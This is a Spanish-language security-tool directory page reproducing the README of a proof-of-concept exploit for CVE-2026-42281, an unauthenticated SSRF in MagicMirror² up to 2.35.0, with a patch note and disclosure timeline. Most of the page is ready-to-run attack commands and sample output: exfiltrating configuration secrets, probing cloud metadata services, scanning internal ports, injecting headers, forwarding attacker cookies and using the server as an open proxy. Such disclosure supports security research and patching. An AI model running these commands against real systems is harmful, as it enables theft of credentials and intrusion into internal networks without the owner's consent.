Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-42281 — Prueba de concepto de exploit para CVE-2026-42281, un SSRF no autenticado en MagicMirror² ≤ 2.35.0, que permite la exfiltración de configuración, el sondeo de metadatos en la nube y el escaneo de redes internas. | Kitploit
Herramientas/GitHubGitHub/astaruf/cve-2026-42281
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónRed Teaming
GitHubastaruf/cve-2026-42281

CVE-2026-42281

Prueba de concepto de exploit para CVE-2026-42281, un SSRF no autenticado en MagicMirror² ≤ 2.35.0, que permite la exfiltración de configuración, el sondeo de metadatos en la nube y el escaneo de redes internas.

Ver Repositorio
hace 3 mesesAún no revisado
Sitio web

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-42281: MagicMirror² ≤ 2.35.0 - SSRF sin autenticación vía endpoint /cors

Descubierto y reportado por: Astaruf

Informe completo: https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/

Aviso oficial: Avisos de seguridad de MagicMirrorOrg/MagicMirror

Entrada NVD:

https://nvd.nist.gov/vuln/detail/CVE-2026-42281

Este repositorio aloja el exploit de prueba de concepto para CVE-2026-42281, un SSRF sin autenticación en MagicMirror² ≤ 2.35.0 que convierte el endpoint /cors en un proxy SSRF totalmente funcional capaz de alcanzar loopback, redes internas y servicios de metadatos en la nube. Con hideConfigSecrets: true, el mismo endpoint también exfiltra los valores de process.env.SECRET_* en una sola petición.

Para la revisión completa del código, análisis de la vulnerabilidad, desglose del parche, disputa del CVSS y cronología, consulta el informe completo en nstsec.com. Este README se centra en cómo usar el PoC.

Prueba de concepto

Requisitos

  • Python 3.8+
  • Sin dependencias externas (solo usa la biblioteca estándar)

Inicio rápido

root@kitploit:~
# 1. Verifica si el objetivo es vulnerable
python3 poc.py -t http://target:8080 --check

# 2. Exfiltra la configuración de la aplicación (con descubrimiento automático de secretos)
python3 poc.py -t http://target:8080 --config

# 3. Sondea los servicios de metadatos en la nube de más de 10 proveedores
python3 poc.py -t http://target:8080 --cloud

# 4. Escaneo de puertos en la red interna vía SSRF
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379

# 5. Demuestra el abuso de cabeceras entrantes/salientes
python3 poc.py -t http://target:8080 --headers

# 6. Usa el servidor como proxy abierto genérico
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api

Modos de ataque

FlagDescripción
--checkVerifica que el SSRF es explotable mediante una petición loopback a /version
--configSSRF a /config vía loopback, analiza el JSON y busca claves API / tokens / contraseñas en las configuraciones de los módulos
--cloudSondea servicios de metadatos en AWS, GCP, Azure, OCI, DigitalOcean, Alibaba, Hetzner, IBM, Kubernetes, Rancher, Equinix; sigue automáticamente la enumeración de roles IAM de AWS
--port-scan HOSTSEscanea uno o más hosts (-p 22,80 / -p 0-1024 / -p - para los 65535 puertos), con hilos
--headersParte A: inyecta cabeceras Authorization/X-* en la petición saliente vía sendheaders. Parte B: reenvía Set-Cookie controlada por el atacante desde un origen malicioso al navegador de la víctima vía expectedheaders
--open-proxy URLGET SSRF genérico a cualquier URL, imprime el cuerpo de la respuesta (útil para explorar APIs HTTP internas)

Opciones adicionales

OpciónValor por defectoDescripción
-t / --targetobligatorioURL del objetivo, p. ej. http://192.168.1.10:8080
--timeout2.0Tiempo de espera por petición en segundos
--threads30Hilos para --port-scan
--verbosedesactivadoImprime las respuestas JSON completas (y los cuerpos de metadatos en la nube sin redactar)

Demo

1. Banner del PoC y modo --check confirmando el SSRF:

root@kitploit:~
$ python3 poc.py -t http://127.0.0.1:8080 --check

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗   ██████╗   █████╗   ██╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ╚════██╗  ╚════██╗  ██╔══██╗ ███║
██║     ██║   ██║█████╗   -2026- ███████║  █████╔╝   █████╔╝  ╚█████╔╝ ╚██║
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ██╔═══╝   ██╔═══╝   ██╔══██╗  ██║
╚██████╗ ╚████╔╝ ███████╗             ██║ ███████╗  ███████╗  ╚█████╔╝  ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝ ╚══════╝  ╚══════╝   ╚════╝   ╚═╝

  MagicMirror² <= v2.35.0 — SSRF sin autenticación vía endpoint /cors
  Autor: Astaruf | https://nstsec.com

  CHECK, Accesibilidad del objetivo y confirmación del SSRF
  [*] Verificando accesibilidad del objetivo ...
  [+] Objetivo accesible, MagicMirror 2.35.0
  [*] Confirmando SSRF vía loopback ...
      >> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
  [+] SSRF CONFIRMADO, el servidor obtuvo el recurso interno en nuestro nombre
      << 2.35.0

2. --config exfiltra la configuración de la aplicación y descubre automáticamente secretos en las configuraciones de los módulos:

root@kitploit:~
  EXFILTRACIÓN DE CONFIGURACIÓN, Configuración completa vía SSRF loopback
  [+] Configuración obtenida, 1194 bytes
  [*] address    : 0.0.0.0
  [*] port       : 8080
  [*] ipWhitelist: [] abierto a todas las IPs

  SECRETOS ENCONTRADOS:
    [weather]  apiKey                       = ow_demo_api_key_d34db33fc4f3b4b3
    [calendar] calendars[0].auth.pass       = S3cretCalendarPa$$word!
    [newsfeed] accessToken                  = sk-newsfeed-bearer-T0kEn-xyz789

3. --headers confirma la inyección saliente y el reenvío entrante:

root@kitploit:~
  INYECCIÓN DE CABECERAS, Abuso de cabeceras salientes y entrantes
  [*] Parte A: inyectando cabeceras arbitrarias en peticiones salientes vía sendheaders
  [+] Cabecera X-Injected-By: SSRF-PoC confirmada en la petición saliente
  [+] Cabecera Authorization: Bearer DEMO_TOKEN confirmada en la petición saliente

  [*] Parte B: reenviando cabeceras de respuesta al navegador vía expectedheaders
  [+] Cabecera de respuesta Set-Cookie reenviada al navegador: session=hijacked;HttpOnly
  [+] El navegador recibe esta cookie como si se originara en el dominio de MagicMirror

4. --open-proxy confirma el HTTP saliente desde el servidor:

root@kitploit:~
  PROXY ABIERTO, Obteniendo https://httpbin.org/ip vía servidor vulnerable
  [+] HTTP 200, 32 bytes recibidos del servidor

{
  "origin": "<IP pública del servidor, no la del atacante>"
}

Notas para las pruebas

  • El modo --check (y todos los demás) envía un SSRF loopback a http://127.0.0.1:<puerto>/version. Al probar con Docker, asegúrate de que el puerto del host coincida con el puerto del contenedor (p. ej. mapea 8080:8080, no 8081:8080); de lo contrario, el objetivo loopback no se resolverá desde dentro del contenedor incluso si la instancia es genuinamente vulnerable.
  • --cloud contra una instancia que no está en la nube (Raspberry Pi, hardware físico) no produce resultados: esto es lo esperado y el script lo informa explícitamente. El vector existe; probarlo requiere un despliegue real en la nube.

Parche

Incluido en MagicMirror² v2.36.0 (publicado el 30 de abril de 2026). El parche se aplica en capas a través de seis PRs (#4084, #4087, #4090, #4091, #4102, #4104). Consulta el informe completo para el desglose por PR, fragmentos de código y la matriz de verificación de intentos de bypass re-probados contra la versión parcheada.

Cronología

FechaEvento
2026-03-30Vulnerabilidad descubierta, issue público abierto, correo enviado al mantenedor
2026-03-31El mantenedor reconoció el informe
2026-04-01Los mantenedores añadieron SECURITY.md y habilitaron los Avisos de Seguridad de GitHub en el repositorio
2026-04-09Aviso formal GHSA abierto
2026-04-26Parche confirmado para la próxima versión. CVE-2026-42281 asignado por GitHub
2026-04-26Disputa del CVSS: el vector se elevó de Moderado a 9.2 Crítico (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N)
2026-04-30MagicMirror² v2.36.0 publicado, el parche se distribuyó públicamente
2026-05-04Divulgación pública (informe + repositorio del PoC)

Referencias

  • Informe completo — nstsec.com
  • CVE-2026-42281 — NVD
  • Repositorio oficial de MagicMirror²
  • Notas de la versión MagicMirror² v2.36.0
  • CWE-918: Server-Side Request Forgery
  • OWASP — Server Side Request Forgery

Aviso legal

Este material se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. Úsalo solo contra instancias de MagicMirror² que poseas o para las que tengas permiso escrito explícito para probar. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso.

Licencia

MIT

Descargar herramienta